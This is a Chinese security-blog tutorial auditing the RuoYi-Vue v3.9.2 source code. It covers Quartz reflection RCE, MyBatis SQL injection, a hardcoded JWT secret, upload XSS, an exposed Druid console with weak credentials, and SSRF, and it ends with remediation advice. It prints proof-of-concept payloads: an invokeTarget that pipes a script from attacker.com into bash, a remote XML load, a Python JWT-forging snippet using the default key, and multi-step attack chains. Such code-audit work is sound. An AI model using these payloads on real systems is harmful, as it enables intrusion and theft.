PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】若依RuoYi-Vue v3.9.2 源码审计:从JWT密钥硬编码到Quartz RCE

📅 2026年5月30日 📁 Hermes Agent ⏱ 3 分钟

适合人群:Java安全研究员、代码审计工程师、渗透测试工程师

前置知识:Java Spring Boot、MyBatis、JWT认证基础

一、前置准备

审计目标: RuoYi-Vue v3.9.2(2026年最新版)

源码规模: 266个Java文件 / 34,305行代码

技术栈: Spring Boot 4.0.3 + MyBatis + JWT + Vue 3

审计工具: Semgrep + 人工代码审计

二、漏洞全景

2.1 Quartz定时任务反射RCE(CVSS 10.0)

文件: ruoyi-common/src/main/java/com/ruoyi/common/utils/JobInvokeUtil.java


public static void invokeMethod(String invokeTarget) throws Exception {
    String beanName = getBeanName(invokeTarget);    // 用户可控
    String methodName = getMethodName(invokeTarget); // 用户可控

    Class<?> clazz = Class.forName(beanName);  // 任意类加载
    Method method = clazz.getMethod(methodName); // 任意方法调用
}

攻击原理: 若依的定时任务模块允许管理员创建Quartz任务,其中invokeTarget参数直接拼接到反射调用中。攻击者只需有任务管理权限,即可执行任意Java方法。

PoC:


// 创建定时任务时的 invokeTarget 参数
invokeTarget = "org.springframework.context.support.ClassPathXmlApplicationContext('http://attacker.com/evil.xml')"

// 或直接RCE
invokeTarget = "java.lang.Runtime.getRuntime().exec('curl http://attacker.com/shell.sh | bash')"

利用条件: 需要系统管理员权限创建定时任务。但在很多部署环境下,默认管理员账号未修改密码,或存在其他越权漏洞。

2.2 MyBatis ${} SQL注入(CVSS 9.4)

位置: 4个Mapper.xml文件使用 ${} 拼接数据权限过滤

文件拼接语句参数来源
SysUserMapper.xml${params.dataScope}数据权限参数
SysDeptMapper.xml${params.dataScope}数据权限参数
SysRoleMapper.xml${params.dataScope}数据权限参数
SysPostMapper.xml${params.dataScope}数据权限参数

MyBatis ${} vs #{}:

  • #{} — 预编译参数占位,安全
  • ${} — 字符串直接拼接,SQL注入

<!-- 漏洞路径: SysUserMapper.xml -->
<select ...>
    SELECT * FROM sys_user
    ORDER BY ${params.dataScope}  <!-- ← SQL注入! -->
</select>

params对象的数据来源于前端POST参数,攻击者通过控制params.dataScope字段实现注入。

2.3 JWT密钥硬编码(CVSS 8.1)

位置: ruoyi-admin/src/main/resources/application.yml


jwt:
  secret: abcdefghijklmnopqrstuvwxyz

影响: 若依使用JWT进行身份认证。这个26位全小写字母的密钥是所有RuoYi-Vue实例的默认配置。只要运维人员没有修改,任何攻击者都能:

  1. 获取任意用户名
  2. 在jwt.io网站或使用代码生成Token
  3. 完全绕过身份验证

import jwt, datetime
token = jwt.encode({
    "login_user_key": "admin",     # 任意用户
    "user_id": 1,
    "exp": datetime.datetime.now() + datetime.timedelta(days=7)
}, "abcdefghijklmnopqrstuvwxyz", algorithm="HS256")
print(token)  # 可直接使用!

2.4 文件上传绕过与XSS(CVSS 8.8)

位置: CommonController.java + 上传配置


// 文件上传接口无 @PreAuthorize 保护!
@PostMapping("/common/upload")
public AjaxResult uploadFile(MultipartFile file) { ... }

若依的上传白名单包含html和htm扩展名,允许上传HTML文件:


ruoyi:
  profile: D:/ruoyi/uploadPath  # 默认Windows路径

上传的HTML文件可通过 /profile/../attacker.html 直接访问(permitAll),构成存储型XSS。

2.5 Druid监控后台暴露

路径: /druid/index.html — permitAll 公开访问

凭证: ruoyi/123456 — 硬编码弱口令

攻击: 直接访问Druid监控后台,查看SQL执行记录、数据源信息、Session会话。

2.6 SSRF与SSL信任(CVSS 6.5)

文件: HttpUtils.java


// URL完全用户可控
public static String sendGet(String url) {
    URL obj = new URL(url);  // ← SSRF!
    HttpURLConnection con = (HttpURLConnection) obj.openConnection();
}

// SSL证书全部信任
TrustManager[] trustAllCerts = new TrustManager[] {
    new X509TrustManager() { ... }  // 不验证任何证书
};

三、关联攻击链

Chain A(最强):JWT伪造 → Quartz RCE(2步完成RCE)


1. JWT密钥: abcdefghijklmnopqrstuvwxyz → 伪造admin Token
2. 创建Quartz任务 → invokeTarget=反射任意类方法
3. 触发任务执行 → RCE!

Chain B:Druid泄露 → 数据库控制


1. 访问 /druid/index.html (permitAll)
2. 弱口令 ruoyi/123456 登录
3. 查看SQL执行记录/数据源信息/Session
4. 全量拖库

Chain C:SQL注入 → 全量泄露


1. 发送包含 params.dataScope 注入的请求
2. ${}拼接 → 盲注提取数据
3. 获取管理员密码hash → 破解 → 后台RCE

四、受影响端点

方法路径漏洞
POST/monitor/job/addQuartz RCE
GET/system/user/listSQL注入
POST/common/upload文件上传XSS
GET/druid/index.html监控泄露
GET/swagger-ui.htmlAPI文档泄露
POST/system/notice/*权限缺失
GET/common/download任意文件下载

五、防御建议

漏洞修复方案
Quartz RCE白名单允许调用的方法和类
SQL注入${params.dataScope} 替换为 #{} 或严格校验
JWT密钥改为随机32位以上密钥
文件上传移除html/htm扩展名,改用MIME校验

六、常见陷阱

#陷阱说明
1"只有管理员能创建任务"但默认admin密码123456未改
2"数据权限是内部参数"params对象完全来自前端请求
3"JWT密钥在生产环境会改"但大量部署沿用默认值

七、总结

若依框架作为中国最流行的Java快速开发平台(GitHub 22k+ Stars),源代码中存在反射RCE、SQL注入、JWT密钥硬编码三大高危漏洞。其中最严重的是默认JWT密钥 abcdefghijklmnopqrstuvwxyz——攻击者只需要知道这个密钥就能伪造任意身份。

注意:以上漏洞未经授权不得用于非法测试

← 返回首页